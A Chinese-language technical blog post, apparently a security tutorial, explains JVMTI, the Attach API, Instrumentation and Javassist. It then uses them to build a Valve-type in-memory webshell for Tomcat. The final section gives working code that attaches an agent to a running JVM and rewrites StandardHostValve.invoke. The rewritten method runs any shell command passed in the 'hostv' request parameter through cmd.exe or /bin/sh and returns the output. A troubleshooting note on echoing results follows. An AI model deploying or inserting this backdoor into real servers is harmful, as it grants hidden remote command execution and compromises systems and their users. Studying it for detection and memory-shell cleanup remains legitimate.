通过Agent注入Valve型内存马

一些机制的介绍

JVMTI/JVM Tool Interface

JVMTI:Java虚拟机对外提供的Native编程接口,通过JVMTI,外部进程可以获取到运行时JVM的诸多信息,比如线程、GC等。

Agent:Agent是一个运行在目标JVM的特定程序,它的职责是负责从目标JVM中获取数据,然后将数据传递给外部进程。

Attach API

根据官方文档所述,Attach API是一个扩展,其提供了与JVM连接的一种机制,通过这种机制可以将agent加载进JVM动态执行一个代理程序。

主要类:(AttachPermission类需要开启SecurityManager选项)

  • VirtualMachine:表示JVM,提供了 JVM 枚举,Attach操作(连接JVM)和Detach操作(从JVM上面解除一个代理)等
  • VirtualMachineDescriptor:描述虚拟机的容器类,配合VirtualMachine类完成各种功能

主要方法:(前提是获得JVM的reference,即成功attach)

  • loadAgent:加载通过Java编写且以jar包格式表示的agent程序
  • loadAgentLibrary:加载动态链接库中的agent程序,可以通过Java运行参数agentlib指定(常见的Java远程调试命令就有它的参与)
  • loadAgentPath:加载静态路径下的agent程序,可以通过参数agentpath指定

使用方式

  • VirtualMachine对象可以通过attach一个标识符连接到JVM来获得,而标识符常采用PID表示(agent要监控的Java程序的PID),因此连接方式就是attach(PID);(PID可通过jps -l列举)
  • 通过VirtualMachineDescriptor类指定JVM list中的JVM连接来获得VirtualMachine对象,这样的好处就是不需要寻找具体的PID,只要指定程序名即可(程序名为运行的项目名)

注:连接JVM需要tools.jar依赖,但是在Windows环境中该jar并不在classpath中,因此可以通过URLClassLoader引入,具体代码可参考浅谈 Java Agent 内存马@天下大木头,若只是本地尝试,直接IDEA添加进library即可

以下为无URLClassLoader版:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class AttachAgent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String agentJar = args[0]; // agent程序,偷个懒也可以直接代码跑

        System.out.println("your input:" + agentJar);

        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) { // 遍历所有reference
//            System.out.println(vmd.displayName());
			// 寻找agent监控的程序
            if (vmd.displayName().endsWith("AttachAgent")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent(agentJar); // 加载agent程序
                virtualMachine.detach(); // 结束连接
            }
        }
        System.out.println("it's over!");
    }
}

Instrumentation

概述

介绍Instrumentation是一个接口,在它的底层实现中存在一个JVMTI的代理程序,使其能够调用JVMTI提供的相关类实现动态修改字节码。

实现方式

  • 实现premain方法,在JVM启动前加载
  • 实现agentmain方法,在JVM启动后加载

声明方式:(拥有Instrumentation类型参数的方法优先级更高)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// premain
public static void premain(String agentArgs, Instrumentation inst) {
    ...
}

public static void premain(String agentArgs) {
    ...
}
// agentmain
public static void agentmain(String agentArgs, Instrumentation inst) {
    ...
}

public static void agentmain(String agentArgs) {
    ...
}

部分方法说明

修改自javaagent使用指南

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//增加Class文件的转换器,转换器用于改变Class二进制流的数据,参数 canRetransform 设置是否允许重新转换
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

boolean isRetransformClassesSupported();

// 对JVM已经加载的类通过addTransformer方法注册的transformer重新处理一遍,然后将处理结果传入JVM作为重加载结果
// 该方法可以修改方法体、常量池和属性值,但不能新增、删除、重命名属性或方法,也不能修改方法的签名
// JDK6引入
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

boolean isRedefineClassesSupported();

// 对JVM已经加载的类重新触发类加载,但不会触发transformer,而是直接将参数中的byte-code传给JVM定义一个同名新类
// 通过传入的byte-code重新定义一个已存在的“新类”
// JDK5引入
void redefineClasses(ClassDefinition... definitions)
	throws  ClassNotFoundException, UnmodifiableClassException;

// 判断某个类是否能被修改
boolean isModifiableClass(Class<?> theClass);

// 获取所有已经加载的类
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

@SuppressWarnings("rawtypes")
Class[] getInitiatedClasses(ClassLoader loader);

//获取一个对象的大小
long getObjectSize(Object objectToSize);

void appendToBootstrapClassLoaderSearch(JarFile jarfile);

void appendToSystemClassLoaderSearch(JarFile jarfile);

boolean isNativeMethodPrefixSupported();

void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix);

ClassFileTransformer

介绍:ClassFileTransformer在运行时会拦截系统类和自己实现的类对象,此时可用于运行时修改字节码

1
2
3
4
5
6
7
byte[]
transform(  ClassLoader         loader,
			String              className,
			Class<?>            classBeingRedefined,
			ProtectionDomain    protectionDomain,
			byte[]              classfileBuffer)
	throws IllegalClassFormatException;

使用条件:agent实现该接口,然后覆写其transform方法来修改对象

使用示例

premain方法

条件:需要命令行启动参数

使用方法

1、创建一个类并实现premain方法

1
2
3
4
5
6
7
import java.lang.instrument.Instrumentation;

public class AgentFirst {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("Do I load earlier than the method Main?");
    }
}

2、在resources目录下创建META-INF/MANIFEST.MF,内容如下

Manifest-Version: 1.0
Premain-Class: AgentFirst(类地址,需要加上package名)
(此处要多一行)

3、打包

1. 选择`Project Structure`->`Artifacts`->`JAR`->`From modules with dependencies`
2. 选择`Build`->`Build Artifacts`->`Build`

4、通过命令行启动参数指定javaagent执行上面一步的jar包

1
java -javaagent:agentLearn.jar -jar hello.jar
agentmain方法

1、创建一个类并实现agentmain方法

1
2
3
4
5
6
7
import java.lang.instrument.Instrumentation;

public class AgentAfter {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("Can you find where I am?:)");
    }
}

2、resources目录下创建META-INF/MANIFEST.MF,内容如下

Manifest-Version: 1.0
Agent-Class: AgentAfter(类地址,需要加上package名)
Can-Redefine-Classes: true(某些场景下需要这两项配置)
Can-Retransform-Classes: true
(此处要多一行)

3、通过Attach API连接JVM,编写程序并打包(见上Attach API部分) 4、命令行启动

1
2
# agentLesson.jar 为代码中的 arg[0]
java -jar attachLearn.jar "agentLesson.jar"

javassist

概述

项目地址https://github.com/jboss-javassist/javassist

changelog

两个级别的API

  • 源级:可以编辑类文件;可以以源文本的形式指定插入的字节码
  • 字节码级:允许用户直接编辑类文件

常见使用类

ClassPool

介绍:存放CtClass对象的容器

获得方法ClassPool cp = ClassPool.getDefault();

注:通过 ClassPool.getDefault() 获取的ClassPool使用 JVM 的类搜索路径。如果程序运行在 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径

添加类搜索路径:cp.insertClassPath(new ClassClassPath(<Class>));

CtClass

介绍:ClassPool中的Class对象

获得方法CtClass cc = cp.get(ClassName)

调用get方法时将搜索表示的各种源ClassPath以查找类文件,然后创建一个CtClass表示该类文件的对象

CtMethod

介绍:ClassPool中的Method对象,其方法可用来修改方法体

获得方法CtMethod m = cc.getDeclaredMethod(MethodName)

内部定义方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public final class CtMethod extends CtBehavior {
    // 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
    // 设置方法体
    public void setBody(String src);

    // 插入在方法体最前面
    public void insertBefore(String src);

    // 插入在方法体最后面, return之前
    public void insertAfter(String src);

    // 在方法体的某一行插入内容
    public int insertAt(int lineNum, String src);
}

参数要求:String对象是Javassist的编译器编译的,由于编译器支持语言扩展,以$开头的几个标识符有特殊的含义

符号 含义
$0, $1, $2, ... $0 = this; $1 = args[1] .....
$args 方法参数数组.它的类型为 Object[]
$$ 所有实参。例如, m($$) 等价于 m($1,$2,...)
$cflow(...) cflow 变量
$r 返回结果的类型,用于强制类型转换
$w 包装器类型,用于强制类型转换
$_ 返回值
$sig 类型为 java.lang.Class 的参数类型数组
$type 一个 java.lang.Class 对象,表示返回值类型
$class 一个 java.lang.Class 对象,表示当前正在修改的类

CtField

1
CtField cf = cc.getDeclaredField("serialVersionUID"); // 查找指定字段

使用--本地修改

1、编写一段打印hello world的程序

1
2
3
4
5
6
7
8
// Hello.java
package com.tyskill;

public class Hello {
    public void hello() {
        System.out.println("Hello World!!!");
    }
}

2、通过javassist编写代码修改上述方法体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// AgentDemo.java
package com.tyskill;

import javassist.*;

public class AgentDemo {
    public static void main(String[] args) throws Exception {
        // javassist修改方法体
        try {
            ClassPool cp = new ClassPool();
            cp.insertClassPath(new ClassClassPath(Hello.class));
            CtClass clazz =cp.get("com.tyskill.Hello"); // 获取修改目标类
            CtMethod cMethod = clazz.getDeclaredMethod("hello"); // 获取修改目标方法
            String mBody = "{System.out.println(\"hello transformer\");}"; // 修改内容
            cMethod.setBody(mBody); // 设置内容
			// 必须要通过其他ClassLoader加载Hello类,否则会引起冲突导致无法编译通过
            Loader classLoader = new Loader(cp); //Javassist 提供的 Classloader
            Class clazz2 = classLoader.loadClass("com.tyskill.Hello");
            clazz2.getDeclaredMethod("hello").invoke(clazz2.newInstance());
        } catch (NotFoundException | CannotCompileException e) {
            e.printStackTrace();
        }
    }
}

agent+javassist实践

agent+retransformClasses

1、编写一段打印hello world的程序,打包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// agentLesson.java
import java.util.Scanner;

public class agentLesson {
    public static void main(String[] args) {
        Hello h1 = new Hello();
        h1.hello();
        Scanner input = new Scanner(System.in); // 维持程序运行
        input.next();
        // 重新实例化
        Hello h2 = new Hello();
        h2.hello();
    }
}

// Hello.java
class Hello {
    public void hello() {
        System.out.println("Hello World!!!");
    }
}

2、通过javassist编写代码修改上述方法体,打包

注:Windows下发现无法直接加载javassist依赖,因此需要通过URLClassLoader+反射的方式动态加载javassist.jar来实现字节码修改,但这样需要额外产生一个文件落地,并且也很麻烦,所以我们可以仿照https://github.com/ethushiroha/JavaAgentTools,直接集成javassist(Javassist 3.21.0-GA及之前只支持jdk8及低版本jdk,因此若使用jdk8编译时后续版本会无法成功)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// javassist包复制粘贴

// AgentDemo.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentDemo {
	public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        System.out.println("[+] do agentmain...");
        Class[] classes = inst.getAllLoadedClasses();
        for (Class clazz: classes) {
//            System.out.println(loadClass.getName());
            if(clazz.getName().equals(EditClassName)) { // 待修改的类
                System.out.println("[+] find the object successfully...");
                // 添加转换器
                inst.addTransformer(new TransformerTpl(EditClassName, EditMethodName, EditMethodBody), true);
                // 更新类
                inst.retransformClasses(clazz);
            }
        }
    }
}

// TransformerDemo.java
import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TransformerDemo implements ClassFileTransformer {
    // 只需要修改这里就能修改别的函数
    public String editClassName = "";
    public String editClassName2 = "";
    public String editMethodName = "";
    public String editMethodBody = "";

    public TransformerTpl(String editClassName, String editMethodName, String editMethodBody) {
        this.editClassName = editClassName;
        this.editClassName2 = editClassName.replace('/', '.');
        this.editMethodName = editMethodName;
        this.editMethodBody = editMethodBody;
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        className = className.replace("/",".");
        // 只修改目标类
        if (className.equals(this.editClassName)) {
            System.out.println("[+] Instrumentation...");
            try {
                ClassPool cp = ClassPool.getDefault();
                // 解决找不到目标类的问题
                if (classBeingRedefined != null) {
                    System.out.println("[-] can't find the target");
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    cp.insertClassPath(ccp);
                    System.out.println("[+] add the target to classpath");
                }

                System.out.println("[!] modify the class: " + this.editClassName);
                CtClass ctClass = cp.getCtClass(this.editClassName); // 获取目标类
                CtMethod ctMethod = ctClass.getDeclaredMethod(this.editMethodName); // 获取目标方法
                // 方法开头插入内容
                ctMethod.insertBefore(this.editMethodBody);
                // 方法末尾插入内容
//            ctMethod.insertAfter(this.editMethodBody, true); 
//            ctMethod.setBody(this.editMethodBody); // 修改内容
                byte[] bytes = ctClass.toBytecode(); // 获得修改后类的字节码
                ctClass.detach(); // 将该class从ClassPool中删除, 清除对象缓存
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }

        return null; // 返回null表示不做出任何修改
    }
}

3、连接JVM执行agent程序修改字节码:

注:该代码可以与上面代码在同一个项目中,也可以另外新建一个项目去运行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// VmConn.java
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class VmConn {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String agentJar = "Agent.jar";

        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) { // 遍历所有reference
//            System.out.println(vmd.displayName());
            // 寻找到agent监控的程序,此处就通过自身来代替,因为也不需要修改什么
            if (vmd.displayName().endsWith("agentLesson.jar")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent(agentJar); // 加载agent程序
                virtualMachine.detach(); // 结束连接
            }
        }
        System.out.println("it's over!");
    }
}

4、输入后继续执行第一步的程序,修改成功

agent+redefineClasses

PS:感觉这种方式有助于清除内存马,所以记录一下使用方式

使用:其他步骤差不多,就只记录不同的地方

  1. 定义用于替换原类的Hello类,编译获得class文件:
1
2
3
4
5
public class Hello {
    public void hello() {
        System.out.println("I'm handsome!hhh!!!");
    }
}
  1. 修改agent
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Hello.java--用于ClassDefinition类参数一
public class Hello {}
// AgentDemo.java
public class AgentDemo {
    public static Instrumentation INST = null;

    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException, IOException, ClassNotFoundException {
        INST = inst;
        process();
    }

    public static void process() throws UnmodifiableClassException, IOException, ClassNotFoundException {
        Class[] classes = INST.getAllLoadedClasses();
        for (Class clazz: classes) {
//            System.out.println(loadClass.getName());
            if(clazz.getName().equals("Hello")) { // 待修改的类
                System.out.println("[+] find the object successfully...");
                Path path = Paths.get("Hello.class");
                byte[] data = Files.readAllBytes(path); // 获得redefineClass字节码
                INST.redefineClasses(new ClassDefinition(Hello.class, data)); // 重新定义Hello类
            }
        }
    }
}

动态修改Valve关键对象

理论说完,实践开始。既然agent技术可以在运行时修改类字节码,那么就可以用于内存马的植入,且这种植入是修改已存在处理类而非添加新处理类的效果,网上大部分都是Filter型的agent实现,为了抑制自己的CV欲望,就搞一下Valve型的agent实现吧。

首先什么是Valve型内存马呢?tomcat的容器组件间采取的是责任链模式,每个子容器之间通过pipeline传递通信,而pipeline内使用valve(阀门)来处理当前子容器内的请求,每次请求都会触发Valve对象的invoke方法对请求进行处理。常见的Valve对象有不少,不过主要的还是几个子容器的Valve对象:StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve,因此我们可以选择这几个类来进行修改。

以StandardHostValve为例,看一下invoke的格式:

1
public final void invoke(Request request, Response response) throws IOException, ServletException {...}

直接就提供了Request对象,这样也不需要再通过其他手段来获取了,可以直接进行修改

注:javassist插入方法体中参数需要通过${id}的格式来指定参数(见上述CtMethod内容),也可以通过定义同一个类型的变量来保存参数

修改代码上面都给了,这里就简单列一下具体的参数吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
private final static String EditClassName = "org.apache.catalina.core.StandardHostValve";
private final static String EditMethodName = "invoke";
private final static String EditMethodBody = "    try {" +
    "        org.apache.catalina.connector.Request req = $1;\n" +
    "        org.apache.catalina.connector.Response resp = $2;\n" +
    "        if (req.getParameter(\"hostv\") != null) {\n" +
    "            String paramm = req.getParameter(\"hostv\");\n" +
    "            String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\",\n" +
    "                    \"/c\", paramm} : new String[]{\"/bin/sh\", \"-c\", paramm};\n" +
    "            java.io.InputStream in = (new ProcessBuilder(cmds)).start().getInputStream();\n" +
    "            java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\A\");\n" +
    "            String o = s.hasNext() ? s.next() : \"\";\n" +
    "            resp.getOutputStream().print(o);\n" +
    "            resp.getOutputStream().flush();\n" +
    "            resp.getOutputStream().close();\n" +
    "        }\n" +
    "    } catch (Exception e) {\n" +
    "        e.printStackTrace();\n" +
    "    }";

效果如下:

踩坑记录

问题:在内存马中调用response.getWrite()方法回显结果会导致Spring后续渲染view时出现无法调用response.getWrite()方法的异常,此时也无法正常显示执行结果

解决方法:使用resp.getOutputStream()替代

注:这种方法在Windows下会出现一些命令执行结果由于编码问题无法回显的问题,并且控制台会出现报错,查到的解决办法是使用writer替换。emmm,这算不算是悖论

总结

概念

  • JVMTI提供外部获取JVM状态的编程接口;
  • Agent是一个运行在目标JVM的特定程序,负责从JVM获取数据并传递到外部进程中;
  • Attach API提供Java程序代理连接到JVM的机制;
  • Instrumentation提供Java程序代理动态修改字节码的能力;
  • javassist是Java中编辑字节码的类库(非原生),使Java程序能够在运行时修改类字节码

Reference